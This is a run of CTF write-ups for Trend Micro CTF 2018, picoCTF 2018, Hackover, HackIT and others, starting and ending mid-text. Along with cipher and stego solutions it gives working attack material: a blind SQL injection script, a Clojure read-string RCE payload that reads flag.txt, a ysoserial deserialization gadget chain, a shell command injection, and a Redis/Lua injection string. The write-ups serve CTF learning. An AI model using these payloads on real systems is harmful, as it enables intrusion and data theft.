return;}int main(){ F(0,0,0);}```And you would get the output in about 15 seconds on Intel 8650U.```45721 e27303e0 d1018010d00080d1018001d1008010d1012002d00020d1014020d00040d1018010d00020d1014020d00040d1014004d1008010d1018008d00080d101801045724 f272f3e0 d1018010d00080d1018001d1008010d1012002d00020d1014020d00040d1018010d00020d1014020d00040d1014008d1008010d1018004d00080d101801059555 e27703dc d1018010d00080d1018002d1008010d1012001d00020d1014020d00040d1018010d00020d1014020d00040d1014004d1008010d1018008d00080d101801059558 f276f3dc d1018010d00080d1018002d1008010d1012001d00020d1014020d00040d1018010d00020d1014020d00040d1014008d1008010d1018004d00080d101801072019 e26febc8 d1018010d00080d1018004d1008010d1014008d00040d1014020d00020d1018010d00040d1014020d00020d1012001d1008010d1018002d00080d101801072022 e66fe7c8 d1018010d00080d1018004d1008010d1014008d00040d1014020d00020d1018010d00040d1014020d00020d1012002d1008010d1018001d00080d101801085399 e27febb8 d1018010d00080d1018008d1008010d1014004d00040d1014020d00020d1018010d00040d1014020d00020d1012001d1008010d1018002d00080d101801085402 e67fe7b8 d1018010d00080d1018008d1008010d1014004d00040d1014020d00020d1018010d00040d1014020d00020d1012002d1008010d1018001d00080d1018010```Send the instructions into the problem program.And you would get the flag:`TMCTF{v1rtu4l_r1v3r5_n_fl4g5}`By the way, there are 1348396 solutions of this problem.## Forensics-Crypto1
### 400We are given a pair of plaintext and ciphertext, also, an encrypted secret text. In this challenge, Feistel cipher is used in encryption. The round function is choosen to be `xor`, while the number of rounds of encryption is unknown. Our goal is to decrypt the secret text.
Let's first write down the results after every round of encryption. Let `L`, `R` be the first and last half of the plaintext, we simply ignore the difference of the keys and denote the xor sum of them as `K`. (But remember that they are not actually the same.) Note that the operation `+` means `xor`.```Round 0: L, RRound 1: R, L+R+KRound 2: L+R+K, L+KRound 3: L+K, R+KRound 4: R+K, L+R+K... repeat```We could find a regular pattern of the results, it repeats every three rounds. Though we do not know the actual number of rounds of encryption, but there are only three possiblities to try. Here is our script for decryption:
```pythondef bin2text(s): l = [s[i:i+8] for i in range(0, len(s), 8)] return ''.join([chr(int(c, 2)) for c in l])
def binxor(s, t): return ''.join([str(int(s[i]) ^ int(t[i])) for i in range(len(s))]) ...
pt0, pt1 = pt[:144], pt[144:]ct0, ct1 = ct[:144], ct[144:]st0, st1 = st[:144], st[144:]
# guess the result is R+K, L+R+Kk1 = binxor(pt0, ct1)k2 = binxor(binxor(ct0, ct1), pt1)
m1 = binxor(st1, k1)m2 = binxor(binxor(st0, st1), k2)print(bin2text(m1+m2))```FLAG: `TMCTF{Feistel-Cipher-Flag-TMCTF2018}`
## Forensics-Crypto2
### 100 (sces60107)
I will finish these part of writeup in my free time QQ
### 200 (sces60107)
1. Use PyInstaller Extractor v1.92. Cannot use uncompyle2. But we can reconstruct the flag directly from the byte code3. xxd mausoleum and get this4. It's easy to find out the pieces of flag. And you can reconstruct the flag `TMCTF{the_s3cr3t_i$_unE@rth3d}`
### 300
We can dump a x86 boot sector from `email.pdf`, that is a filesystem. when we mount the filesystem, we can see a small packet replay tool provided by trendmicro. We can find a packet replay binary at bin folder in the project.
It has one more parameter `-g` than the original binary. At function `sub_C42690("34534534534534534534534erertert676575675675675", 10)` return value is `0xfbfa`, when we change hex to decimal, we got the flag `64506`
## Reversing-Other
### 100, 200 (sces60107)
I will finish these part of writeup in my free time QQ
### 400 (sces60107)
1. Use `dis.dis` then you can extract python code2. Use Z3 to reconstruct the flag```python=from z3 import *
s=Solver()
flag=[]
for i in range(24): flag.append(BitVec("flag_"+str(i),32)) s.add(flag[i] < 256) s.add(flag[i] > 0)
summ=0
for i in flag: summ+=is.add(summ%24 == 9)s.add(summ/24 == 104)inval=[]
for i in flag: inval.append(i^104)ROFL=list(reversed(inval))KYRYK = [0]*5QQRTQ = [0]*5KYRYJ = [0]*5QQRTW = [0]*5KYRYH = [0]*5QQRTE = [0]*5KYRYG = [0]*5QQRTR = [0]*5KYRYF = [0]*5QQRTY = [0]*5print len(inval)
for i in range(5): for j in range(4): KYRYK[i] ^= inval[i+j] QQRTQ[i] += inval[i+j] KYRYJ[i] ^= inval[i*j] QQRTW[i] += inval[i*j] KYRYH[i] ^= inval[i*j+8] QQRTE[i] += inval[i*j+8] KYRYG[i] ^= ROFL[i*j+8] QQRTR[i] += ROFL[i*j+8] KYRYF[i] ^= ROFL[i+j] QQRTY[i] += ROFL[i+j] KYRYK[i] += 32 KYRYJ[i] += 32 KYRYH[i] += 32 KYRYG[i] += 32 KYRYF[i] += 32 QQRTE[i] += 8 QQRTY[i] += 1
for i,j in zip(KYRYK,'R) +6'): k=ord(j) s.add(i == k)for i,j in zip(QQRTQ,'l1:C('): k=ord(j) s.add(i == k)for i,j in zip(KYRYJ,' RP%A'): k=ord(j) s.add(i == k)for i,j in zip(QQRTW,[236,108,102,169,93]): s.add(i == j)for i,j in zip(KYRYH,' L30Z'): k=ord(j) s.add(i == k)for i,j in zip(QQRTE,' j36~'): k=ord(j) #print i,j s.add(i == k)for i,j in zip(KYRYG,' M2S+'): k=ord(j) #print i,j s.add(i == k)for i,j in zip(QQRTR,'4e\x9c{E'): k=ord(j) s.add(i == k)for i,j in zip(KYRYF,'6!2$D'): k=ord(j) s.add(i == k)for i,j in zip(QQRTY,']PaSs'): k=ord(j) s.add(i == k)print s.check()realflag = ""for i in flag: realflag+=chr(s.model()[i].as_long())print realflag# TMCTF{SlytherinPastTheReverser}```
## Misc
### 100```shell$ binwalk EATME.pdf
DECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 PDF document, version: "1.7"353 0x161 JPEG image data, JFIF standard 1.01383 0x17F TIFF image data, big-endian, offset of first image directory: 8749016 0xB6DD8 Zip archive data, at least v2.0 to extract, compressed size: 41, uncompressed size: 200, name: flag.txt749123 0xB6E43 Zip archive data, at least v2.0 to extract, compressed size: 4168158, uncompressed size: -1, name: galf.txt4969997 0x4BD60D End of Zip archive, footer length: 31, comment: "Boooooom!"4970099 0x4BD673 Zlib compressed data, default compression4971214 0x4BDACE Zlib compressed data, default compression4971660 0x4BDC8C Zlib compressed data, default compression```There are files `flag.txt` and `glaf.txt`. Try:```shell$ binwalk -Me EATME.pdfDECIMAL HEXADECIMAL DESCRIPTION--------------------------------------------------------------------------------0 0x0 PDF document, version: "1.7"353 0x161 JPEG image data, JFIF standard 1.01383 0x17F TIFF image data, big-endian, offset of first image directory: 8^C```Flag is in `flag.txt`. Be sure to press `^C`, otherwise, the file `galf.txt` with size `-1` will be extracted...FLAG: `TMCTF{QWxpY2UgaW4gV29uZGVybGFuZA==}`
### 200
We are given a broken python script and a pcap file. The pcap file contains numerous ICMP ping packets, and it's obvious that there is payload hiding in ICMP tunnel. Let's extract them:
```shell$ strings traffic.pcap -n16 | grep , | grep '^[0-9][0-9,\.]*' -o4.242410,2.9708804.242410,2.9708807.021890,1.989350...```
Moreover, the broken python script implements DBSCAN algorithm. It's not very difficult to recover the script with the [source](http://scikit-learn.org/stable/auto_examples/cluster/plot_dbscan.html) available. Also we adjust the DBSCAN parameters `eps` and `min_sample`. In fact several pairs of `eps` and `min_sample` can produce the desired result.
```pythonimport matplotlib.pyplot as pltimport seaborn as sns; sns.set() # for plot stylingimport numpy as npfrom sklearn.datasets.samples_generator import make_blobsfrom numpy import genfromtxtfrom sklearn.cluster import DBSCAN
#humm, encontre este codigo en un servidor remoto#estaba junto con el "traffic.pcap"# que podria ser?, like some sample code
X = np.genfromtxt('test_2.txt', delimiter=',')print(X)db = DBSCAN(eps=0.3, min_samples=10).fit(X)labels = db.labels_n_clusters_ = len(set(labels)) - (1 if -1 in labels else 0)core_samples_mask = np.zeros_like(db.labels_, dtype=bool)core_samples_mask[db.core_sample_indices_] = Trueunique_labels = set(labels)colors = [plt.cm.Spectral(each) for each in np.linspace(0, 1, len(unique_labels))]for k, col in zip(unique_labels, colors): class_member_mask = (labels == k) xy = X[class_member_mask & core_samples_mask] plt.plot(xy[:, 0], xy[:, 1], 'o', markerfacecolor=tuple(col), markeredgecolor='k', markersize=14)
#NOTE: what you see in the sky put it format TMCTF{replace_here}#where "replace_here" is what you seeplt.title('aaaaaaaa: %d' % n_clusters_)plt.show()```
With @sces60107's sharp eyes, we quicklly realize that this is the mirror or `FLAG:1`. And the rest of the work is to guess the flag. Try each combination of `One, 1, oNE, ONE, FLAG:1, flag:one, 1:flag, flag:1 ....`
The flag comes out to be `TMCTF{flag:1}`.
### 300
The challenge is about java unsafe deserialization. The file includes `commons-collections-3.1.jar` and a web server, which deserializes the user's input:
```java// Server.java@WebServlet({"/jail"})public class Server extends HttpServlet{ private static final long serialVersionUID = 1L; public Server() {} protected void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException { try { ServletInputStream is = request.getInputStream(); ObjectInputStream ois = new CustomOIS(is); Person person = (Person)ois.readObject(); ois.close(); response.getWriter().append("Sorry " + person.name + ". I cannot let you have the Flag!."); } catch (Exception e) { response.setStatus(500); e.printStackTrace(response.getWriter()); } }} ```
```java// CustomOIS.javapublic class CustomOIS extends ObjectInputStream{ private static final String[] whitelist = { "javax.management.BadAttributeValueExpException", "java.lang.Exception", "java.lang.Throwable", "[Ljava.lang.StackTraceElement;", "java.lang.StackTraceElement", "java.util.Collections$UnmodifiableList", "java.util.Collections$UnmodifiableCollection", "java.util.ArrayList", "org.apache.commons.collections.keyvalue.TiedMapEntry", "org.apache.commons.collections.map.LazyMap", "org.apache.commons.collections.functors.ChainedTransformer", "[Lorg.apache.commons.collections.Transformer;", "org.apache.commons.collections.functors.ConstantTransformer", "com.trendmicro.jail.Flag", "org.apache.commons.collections.functors.InvokerTransformer", "[Ljava.lang.Object;", "[Ljava.lang.Class;", "java.lang.String", "java.lang.Object", "java.lang.Integer", "java.lang.Number", "java.util.HashMap", "com.trendmicro.Person" };
public CustomOIS(ServletInputStream is) throws IOException { super(is); }
public Class resolveClass(ObjectStreamClass des) throws IOException, ClassNotFoundException { if (!Arrays.asList(whitelist).contains(des.getName())) { throw new ClassNotFoundException("Cannot deserialize " + des.getName()); } return super.resolveClass(des); }}
```
```java// Person.java and jail/Flag.javapublic class Person implements Serializable { public String name; public Person(String name) { this.name = name; }} public class Flag implements Serializable { static final long serialVersionUID = 6119813099625710381L; public Flag() {} public static void getFlag() throws Exception { throw new Exception("<FLAG GOES HERE>"); }}
```
I use [jd-gui](http://jd.benow.ca/) to decompile the java class files.
The objective is to invoke `Flag.getFlag()`. However, it's tricky because:
1. getFlag() is static (class method)2. Server.java only accesses the member `person.name`.3. The server doesn't invoke any other method.
So we quickly realize it's not possible to call `getFlag()`. We need RCE / more powerful exploit.
We note that the `CustomOIS.java` uses a whitelist to check the resolved class name, but it's really suspicous because some weird classes are in the whiltelist, like `javax.management.BadAttributeValueExpException`.
With a quick Google we found [ysoserial](https://github.com/frohoff/ysoserial) can generate RCE payload for `commons-collections:3.1`, which is the dependency of the server.
Actually the `CommonsCollections5` utilizes those classes in the whitelist to trigger RCE, but `Java.lang.Runtime` is not in the whilelist. I think it's not able to RCE.
Though we cannot call `Runtime.exec()`, at least we can try to invoke `Flag.getFlag()`.
Here is the modified version of [CommonCollection5.java](https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/CommonsCollections5.java):
```java// Some of the code is omitted....
import java.io.Serializable;class Flag implements Serializable { static final long serialVersionUID = 6119813099625710381L; public Flag() {} public static void getFlag() throws Exception { throw new Exception("<FLAG GOES HERE>"); } }
public class CommonsCollections5 extends PayloadRunner implements ObjectPayload<BadAttributeValueExpException> {
public BadAttributeValueExpException getObject(final String command) throws Exception { final String[] execArgs = new String[] { command }; // inert chain for setup final Transformer transformerChain = new ChainedTransformer( new Transformer[]{ new ConstantTransformer(1) }); // real chain for after setup final Transformer[] transformers = new Transformer[] { new ConstantTransformer(Flag.class), // Flag class here new InvokerTransformer("getMethod", new Class[] { String.class, Class[].class }, new Object[] { "getFlag", new Class[0] }), // invoke static method getFlag new InvokerTransformer("invoke", new Class[] { Object.class, Object[].class }, new Object[] { null, new Object[0] }), new ConstantTransformer(1) };
...
```
We have generate the payload, but the class name of Flag is incorrect; it should be `com.trendmicro.jail.Flag`. Let's use Python to do the replacement trick:
```python# The first byte is the length of the class namereplace(b'\x17ysoserial.payloads.Flag',b'\x18com.trendmicro.jail.Flag')```
The flag: `TMCTF{15nuck9astTheF1agMarsha12day}`
|
[https://rawsec.ml/en/picoCTF-2018-write-up/#400-fancy-alive-monitoring-web](https://rawsec.ml/en/picoCTF-2018-write-up/#400-fancy-alive-monitoring-web) |
Problem Statement(150 points):
Here's another simple cipher for you where we made a bunch of substitutions. Can you decrypt it? Connect with nc 2018shell2.picoctf.com 18581.
Solution : I was given the following ciphertext :
------------------------------------------------------------------------------- wgzivhot ymvm ut jglv achi - tlqtouolougz_wusymvt_hvm_tgcbhqcm_yhaxzqgmtb ------------------------------------------------------------------------------- tohomcj, sclfs qlwr flccuihz whfm avgf oym tohuvymhx, qmhvuzi h qgnc ga choymv gz nyuwy h fuvvgv hzx h vhpgv chj wvgttmx. h jmccgn xvmttuziignz, lziuvxcmx, nht tltohuzmx imzocj qmyuzx yuf gz oym fucx fgvzuzi huv. ym ymcx oym qgnc hcgao hzx uzogzmx:
-uzovguqg hx hcohvm xmu.
yhcomx, ym smmvmx xgnz oym xhvr nuzxuzi tohuvt hzx whccmx glo wghvtmcj:
-wgfm ls, ruzwy! wgfm ls, jgl amhvalc emtluo!
tgcmfzcj ym whfm agvnhvx hzx fglzomx oym vglzx ilzvmto. ym ahwmx hqglo hzx qcmttmx ivhbmcj oyvuwm oym ognmv, oym tlvvglzxuzi chzx hzx oym hnhruzi fglzohuzt. oymz, whowyuzi tuiyo ga tomsymz xmxhclt, ym qmzo ognhvxt yuf hzx fhxm vhsux wvgttmt uz oym huv, ilvicuzi uz yut oyvgho hzx tyhruzi yut ymhx. tomsymz xmxhclt, xutscmhtmx hzx tcmmsj, cmhzmx yut hvft gz oym ogs ga oym tohuvwhtm hzx cggrmx wgcxcj ho oym tyhruzi ilvicuzi ahwm oyho qcmttmx yuf, mdluzm uz uot cmzioy, hzx ho oym cuiyo lzogztlvmx yhuv, ivhuzmx hzx ylmx curm shcm ghr.
qlwr flccuihz smmsmx hz uztohzo lzxmv oym fuvvgv hzx oymz wgbmvmx oym qgnc tfhvocj.
-qhwr og qhvvhwrt! ym thux tomvzcj.
ym hxxmx uz h svmhwymvt ogzm:
-agv oyut, g xmhvcj qmcgbmx, ut oym imzluzm wyvutouzm: qgxj hzx tglc hzx qcggx hzx glzt. tcgn fltuw, scmhtm. tylo jglv mjmt, imzot. gzm fgfmzo. h cuoocm ovglqcm hqglo oygtm nyuom wgvsltwcmt. tucmzwm, hcc.
ym smmvmx tuxmnhjt ls hzx ihbm h cgzi tcgn nyutocm ga whcc, oymz shltmx hnyucm uz vhso hoomzougz, yut mbmz nyuom ommoy icutomzuzi ymvm hzx oymvm nuoy igcx sguzot. wyvjtgtogfgt. ong tovgzi tyvucc nyutocmt hztnmvmx oyvgliy oym whcf.
-oyhzrt, gcx wyhs, ym wvumx qvutrcj. oyho nucc xg zuwmcj. tnuowy gaa oym wlvvmzo, nucc jgl?
ym trussmx gaa oym ilzvmto hzx cggrmx ivhbmcj ho yut nhowymv, ihoymvuzi hqglo yut cmit oym cggtm agcxt ga yut ignz. oym sclfs tyhxgnmx ahwm hzx tlccmz gbhc egnc vmwhccmx h svmchom, shovgz ga hvot uz oym fuxxcm himt. h scmhthzo tfucm qvgrm dlumocj gbmv yut cust.
As the question name tells hertz which means frequency.So we have to do frequency analysis.I decoded it with
http://crypto.interactive-maths.com/frequency-analysis-breaking-the-code.html and make following substitution
M H O Z T G C U Y X V L I W S N F Q J A R B D E P K | | | | | | | | | | | | | | | | | | | | | | | | | | e a t n s o l i h d r u g c p w m b y f k v z
Using the above substitution gave me the flag :
congrats here is your flag - substitution_ciphers_are_solvable_hafdnboesv
picoCTF{substitution_ciphers_are_solvable_hafdnboesv} |
Problem Statement(250 points):
Can you help us decrypt this message? We believe it is a form of a caesar cipher. You can find the ciphertext in /problems/caesar-cipher-2_3_4a1aa2a4d0f79a1f8e9a29319250740a on the shell server.
Solutions:
The message given was "4-'3evh?'c)7%t#e-r,g6u#.9uv#%tg2v#7g'w6gA".I saw a pattern that if ascii value of given charater is greater than 65 we have to substract 34 to get capital letters and for less than 65 we have to add 60 to get small letters.So i wrote a small piece of code in python3 which you can see below (can also see here) :
x="4-'3evh?'c)7%t#e-r,g6u#.9uv#%tg2v#7g'w6gA" s='' for i in x: if(ord(i)<=65): s+=chr(ord(i)+60) else: s+=chr(ord(i)-34) print(s)
So the decoded text was :
picoCTF{cAesaR_CiPhErS_juST_aREnT_sEcUrE}
|
# Graal (pwn, 477p, 13 solved)
A high level pwnable challenge for which we get [source code](main.clj) in Clojure/LISP.
Interestingly the challenge is very similar to task from Insomnihack few years back, which was written in LISP -> https://github.com/p4-team/ctf/tree/master/2016-03-18-insomnihack-final/misc_robots
The only important part is:
```lisp (try (-> (read-line) (read-string)) (println "Good job, you know how to balance brackets. Now go, get the flag.") (catch Exception e (println "You need to work on your balancing skills."))))```
The point is that input read by `read-string` is actually automatically evaluated as LISP code (a bit like `input()` function did in Python 2)!This is how the "parenthesis checker" works here - by evaluating the input.This means we can execute any valid Clojure code, which means we've got RCE here!
We can confirm this by sending `#=(println "test")` which gives us back echo.Now we can simply invoke shell commands with `#=(clojure.java.shell/sh "cat" "flag.txt")` and if we combine this we get `#=(println #=(clojure.java.shell/sh "cat" "flag.txt"))` and server prints the flag for us: `hackover18{n3v3r_tru5s7_u53r_1npu7}` |
**Description**
> [Welcome](https://ctf.hackit.ua/w31c0m3)
**No files provided**
**Solution**
The page displays:
```Welcome to the HackIT 2018 CTF, flag is somewhere here. ¯_(ツ)_/¯```
But if we open up the inspector, it shows a whole bunch of invisible Unicode characters between the first and the second characters. Zero-width joiners, zero-width non-joiners, etc. In fact, all the invisible characters used are (Unicode codepoints): `0x200b`, `0x200c`, `0x200d`, `0x200e`, `0x200f`.
A quick search for e.g. "zero-width unicode steganography" leads us to [this page](https://330k.github.io/misc_tools/unicode_steganography.html) which does basically the same thing as what we need. The character selection doesn't include one of the codepoints that is used in the challenge; fortunately, the library which the page uses is [available](http://330k.github.io/misc_tools/unicode_steganography.js).
Then we can simply decode the flag with Javascript:
```jsconst stego = require("./unicode_steganography.js").unicodeSteganographer;stego.setUseChars('\u200b\u200c\u200d\u200e\u200f');console.log(stego.decodeText("Welcome to the HackIT 2018 CTF, flag is somewhere here. ¯_(ツ)_/¯"));```
`flag{w3_gr337_h4ck3rz_w1th_un1c0d3}` |
This time, we're faced with a single-input form asking for "the answer". Iinstantly tried `42`, but no dice. Then a single quote. That triggered an errormessage indicating that :
- There is an SQL injection vulnerability- We're querying an SQLite3 database- The query is echoed back to us : `SQL query: SELECT * FROM answers WHERE answer='''`
If we try `'OR 1=1 --`, we get the message `You are so close.`. If we try anyrandom valid string, we get the message `Wrong.`. That indicates that we getone message if the query returned at least one row (`You are so close.`, inthis first case the always true condition has the database return all rows) andthe other message (`Wrong.`) if the query returns no row : that's a blind SQLinjection.
We can exploit that to get the answer out of the database, using the [`LIKE`operator](https://sqlite.org/lang_expr.html#like). `LIKE` allows a bit offuzzy searching by matching based on an expression rather than than an exactvalue. In sqlite, it uses two wildcards :
- `%` : matches 0 or more of any character- `_` : matches exactly one of any character
Example :
- `ca_` would match "car" or "cap" but not "ca" or "cars"- `ca%` would match "ca", "car", "cars", or any string that starts with "ca"
So if we built a query using `LIKE` and `%` for every possible character(` SELECT * FROM answers WHERE answer LIKE 'a%'`, ` SELECT * FROM answers WHEREanswer LIKE 'b%'`, etc.), we would only get the `You are so close.` message ifthe answer we're looking for starts with that character. We can then re-iteratecharacter by character.
Here's the script I wrote to do just that :
_Note : this script uses two external libraries :[requests](http://docs.python-requests.org/en/master/) for handling HTTPrequests and [colorama](https://pypi.org/project/colorama/) for coloring theoutput in the name of cool._
```pythonimport requestsimport stringfrom colorama import Fore
chars = string.digits + string.ascii_lowercase + string.ascii_uppercase + '{_}'cr = '\r'
def send(str_): data = {'answer': str_, 'debug': 1} r = requests.post('http://2018shell3.picoctf.com:28120/answer2.php', data=data) return r.text
def inject(payload): str_ = f"nope' or answer like '{payload}%' --" resp = send(str_) if 'Wrong.' in resp: return False elif 'You are so close.' in resp: return True else: raise Exception('Unplanned case.')
def guess(current=''): print(f'{cr}{Fore.CYAN}{current}{Fore.RESET}', end='') for c in chars: print(f'{cr}{current}{Fore.YELLOW}{c}{Fore.RESET}', end='') if inject(current + c): return guess(current + c) # we have tried every possible character, so we probably have the answer return current
print(f'{cr}{Fore.GREEN}{guess()}{Fore.RESET}')```
If we run it, it finds the value we're looking for after a short while :`41andsixsixths` (so my first guess wasn't that bad). But there's a catch : the`LIKE` operator is case insensitive (so the `string.ascii_uppercase` in myscript is actually useless and slows down the search). We need to figure outthe proper capitalization.
There's probably a better way to do it, but I just took a few guesses and foundit's `41AndSixSixths`. If we POST that to the server, we get the flag :`picoCTF{qu3stions_ar3_h4rd_8f84b784}`. |
Browsing to the site, we are greeted by a page asking for an IP to check and a[link to the backend source code](http://2018shell3.picoctf.com:56517/index.txt) :
```php<html><head> <title>Monitoring Tool</title> <script> function check(){ ip = document.getElementById("ip").value; chk = ip.match(/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/); if (!chk) { alert("Wrong IP format."); return false; } else { document.getElementById("monitor").submit(); } } </script></head><body> <h1>Monitoring Tool ver 0.1</h1> <form id="monitor" action="index.php" method="post" onsubmit="return false;"> Input IP address of the target host <input id="ip" name="ip" type="text"> <input type="button" value="Go!" onclick="check()"> </form> <hr>
Input IP address of the target host <input id="ip" name="ip" type="text">
Target is NOT alive.</h3>"); break; } else if (strpos($str, ', 0% packet loss') !== false){ printf("<h3>Target is alive.</h3>"); break; } } } else { echo "Wrong IP Format."; }}?><hr>index.php source code</body></html>```
Since the input is passed to php's `exec`, it seems like we have a commandinjection to exploit. Two things stand in our way :
1. The input is validated2. The command output is not returned
Let's figure this out
### Broken input validation = command injection
As the hint indicates, the IP addresses are not validated the same way on thefront-end and on the backend :
Front-end validation regex :
`/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$/`
Back-end validation regex
`/^(([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5]).){3}([1-9]?[0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])/`
The important difference here is that both regex start with `^` (which matchesthe beginning of the string), but only the front-end regex ends with `$` (whichmatches the end of the string). What that means is that the front-end willreject the input if it contains anything after the IP, but the back-end won't.
Front-end validation is completely useless, since we can send requests directlyto the server.
The command executed is shown in that line of the source :
```phpexec('ping -c 1 '.$ip, $cmd_result);```
Where `$ip` is our input (`$cmd_result` is used to store the output).
now our input needs to start with an ip address and provide a command to run.so if we provide `127.0.0.1 ; command`, `command` will be executed after`ping`.
Now what should our payload be ?
### Choosing a payload
The backend code doesn't return the input of what it `exec`s, it only returnsa message indicating whether the `ping`ed ip replied :
```phpforeach($cmd_result as $str){ if (strpos($str, '100% packet loss') !== false){ printf("<h3>Target is NOT alive.</h3>"); break; } else if (strpos($str, ', 0% packet loss') !== false){ printf("<h3>Target is alive.</h3>"); break; }}```
That means we can't simply run `ls` to look for the flag file and then `cat` it.
There are many ways of getting around that, the most obvious approach herebeing a [reverse shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet).
I decided to use a different payload for fun, based on two assumptions :
1. Python 2 is installed on the server2. There is a flag file in the task's directory
My payload was `python -m SimpleHTTPServer 9999` (`127.0.0.1; python -m SimpleHTTPServer 9999`).
The [SimpleHTTPServer module](https://docs.python.org/2/library/simplehttpserver.html)is part of the Python 2 standard library (it has been renamed to `http.server`in Python 3), which means it's available if python is. When executed (usingpython's `-m` option), it creates an HTTP server listening on the port passedas an argument (`9999` here) and serving the current working directory.
When sending that payload, the client hangs : that means the code hasn'treturned, since it's running the http server.
Now if port `9999` is not firewalled, we should be able to browse to`http://2018shell3.picoctf.com:56517` and get a file listing of the task'sdirectory.
And indeed, the flag is at `http://2018shell3.picoctf.com:9999/flag.txt` :`picoCTF{n3v3r_trust_a_b0x_36d4a875}`. |
Hackover CTF 2018: military-crypto==================================
## Description
We take security seriously so instead of shipping our own crypto we simply useproven military grade technology for our firmware updates.
`nc military-crypto.ctf.hackover.de 1337`
## Solution
When connecting to the interface we're presented with a menu:
```==================================================== == secure update service
we didn't roll our own, powered by the best crypto known to humanity====================================================1) Update firmware 3) Current firmware2) Download firmware 4) Quit```
* **Update firmware** asks us to upload a new firmware and a detached PGPsignature.
* **Download firmware** sends back the source code of the server encoded withbase64.
* **Current firmware** sends back a PGP signed message with some informationabout the current firmware.
Clearly the goal here is to provide a new firmware and a signature to trick theserver into running it. So let's inspect the code of the server and see how theverification is done.
```shupdate_firmware() { cat <<EOF==================================================== 1) send update binary as base64 2) finish with an empty line 3) send detached signature as base64 4) finish with an empty line====================================================EOF echo 'Reading firmware...' touch update.bin.b64 while IFS='' read -r firmware; do if [ -z "$firmware" ]; then break; fi echo "$firmware" >> update.bin.b64 done base64 -d update.bin.b64 > update.bin rm update.bin.b64
echo 'Reading detatched signaure...' touch update.bin.sig while IFS='' read -r signature; do if [ -z "$signature" ]; then break; fi echo "$signature" >> update.bin.sig.b64 done base64 -d update.bin.sig.b64 > update.bin.sig rm update.bin.sig.b64
if ! gpg --verify update.bin.sig; then set +x echo '!!!!!!!!!!!!!!!!!!!!!!!' echo '!! INVALID SIGNATURE !!' echo '!!!!!!!!!!!!!!!!!!!!!!!' exit 1 else chmod +x update.bin echo 'Updating....' ./update.bin echo 'Rebooting....' exit 0 fi}```
The firmware is verified with `gpg --verify update.bin.sig`.
From `man gpg`:
```--verify Assume that the first argument is a signed file and verify it without generating any output.
...
gpg may assume that a single argument is a file with a detached signature, and it will try to find a matching data file by stripping certain suffixes. Using this historical feature to verify a detached signature is strongly discouraged; you should always specify the data file explicitly.```
It seems that when `--verify` can both be used to verify signed files (where thecontents and the signature are in the same file) and files with a detachedsignature (where the signature is in a separate file).
The server expects a detached signature for `update.bin` but if we instead senda self-contained signed message, gpg will think that we're trying to verify thecontents of that file and ignore `update.bin`. The `Current firmware` commandconveniently sends back exactly that.
For the final exploit we can simply send a shell script that launches`/bin/bash` as the new firmware and the output of `Current firmware` as thesignature.
Flag: `hackover18{r0ll_y0_0wn_crypt0_w1th_pgp}` |
There is a NoSQL injection. You can see the parameter 'n' on the page. Trying to make GET request will set the user_n key with random uuid4 value. If you try to enter a command like `set` or `flushdb` (all commands except `get`), you'll get message "Ah, another hacker". Just try some commands and you'll see that there is a Redis db. Another way is buying hint for 100 points which tell you that is Redis.Redis scripting language is LUA. All redis functions are callable by redis.call.Injection is `http://ctf.knastu.ru/webch/admin?n=123') and redis.call('get', 'admin`
Flag is HumanCTF{n0t_a_f1ag} |
The following source code is provided in the task description :
```pythonfrom flask import Flask, render_template, request, url_for, redirect, make_response, flashimport jsonfrom hashlib import md5from base64 import b64decodefrom base64 import b64encodefrom Crypto import Randomfrom Crypto.Cipher import AES
app = Flask(__name__)app.secret_key = 'seed removed'flag_value = 'flag removed'
BLOCK_SIZE = 16 # Bytespad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * \ chr(BLOCK_SIZE - len(s) % BLOCK_SIZE)unpad = lambda s: s[:-ord(s[len(s) - 1:])]
@app.route("/")def main(): return render_template('index.html')
@app.route('/login', methods=['GET', 'POST'])def login(): if request.form['user'] == 'admin': message = "I'm sorry the admin password is super secure. You're not getting in that way." category = 'danger' flash(message, category) return render_template('index.html') resp = make_response(redirect("/flag"))
cookie = {} cookie['password'] = request.form['password'] cookie['username'] = request.form['user'] cookie['admin'] = 0 print(cookie) cookie_data = json.dumps(cookie, sort_keys=True) encrypted = AESCipher(app.secret_key).encrypt(cookie_data) print(encrypted) resp.set_cookie('cookie', encrypted) return resp
@app.route('/logout')def logout(): resp = make_response(redirect("/")) resp.set_cookie('cookie', '', expires=0) return resp
@app.route('/flag', methods=['GET'])def flag(): try: encrypted = request.cookies['cookie'] except KeyError: flash("Error: Please log-in again.") return redirect(url_for('main')) data = AESCipher(app.secret_key).decrypt(encrypted) data = json.loads(data)
try: check = data['admin'] except KeyError: check = 0 if check == 1: return render_template('flag.html', value=flag_value) flash("Success: You logged in! Not sure you'll be able to see the flag though.", "success") return render_template('not-flag.html', cookie=data)
class AESCipher: """ Usage: c = AESCipher('password').encrypt('message') m = AESCipher('password').decrypt(c) Tested under Python 3 and PyCrypto 2.6.1. """
def __init__(self, key): self.key = md5(key.encode('utf8')).hexdigest()
def encrypt(self, raw): raw = pad(raw) iv = Random.new().read(AES.block_size) cipher = AES.new(self.key, AES.MODE_CBC, iv) return b64encode(iv + cipher.encrypt(raw))
def decrypt(self, enc): enc = b64decode(enc) iv = enc[:16] cipher = AES.new(self.key, AES.MODE_CBC, iv) return unpad(cipher.decrypt(enc[16:])).decode('utf8')
if __name__ == "__main__": app.run()```
Now I didn't know much about cryptography before this task, but I learned a lotduring PicoCTF 2018, starting with this task.
So first things first, we can login to the target app with anyusername/password. When we do, the cleartext value of our cookie is displayed :
```javascript{'admin': 0, 'username': 'iodbh', 'password': ''} ```
The goal here is obviously to set the `admin` value to `1`. But the cookie isencrypted, so we have to figure out a way to alter the ciphertext in a way thatwill lead it to decrypt to the desired value.
Looking at the source code and the app, here are the informations we have :
- The Cipher is AES in CBC mode with a blocksize of 16- The IV is know (it is prepended to the ciphertext in the cookie)- We know the plaintext matching the ciphertext (it is returned by the app)
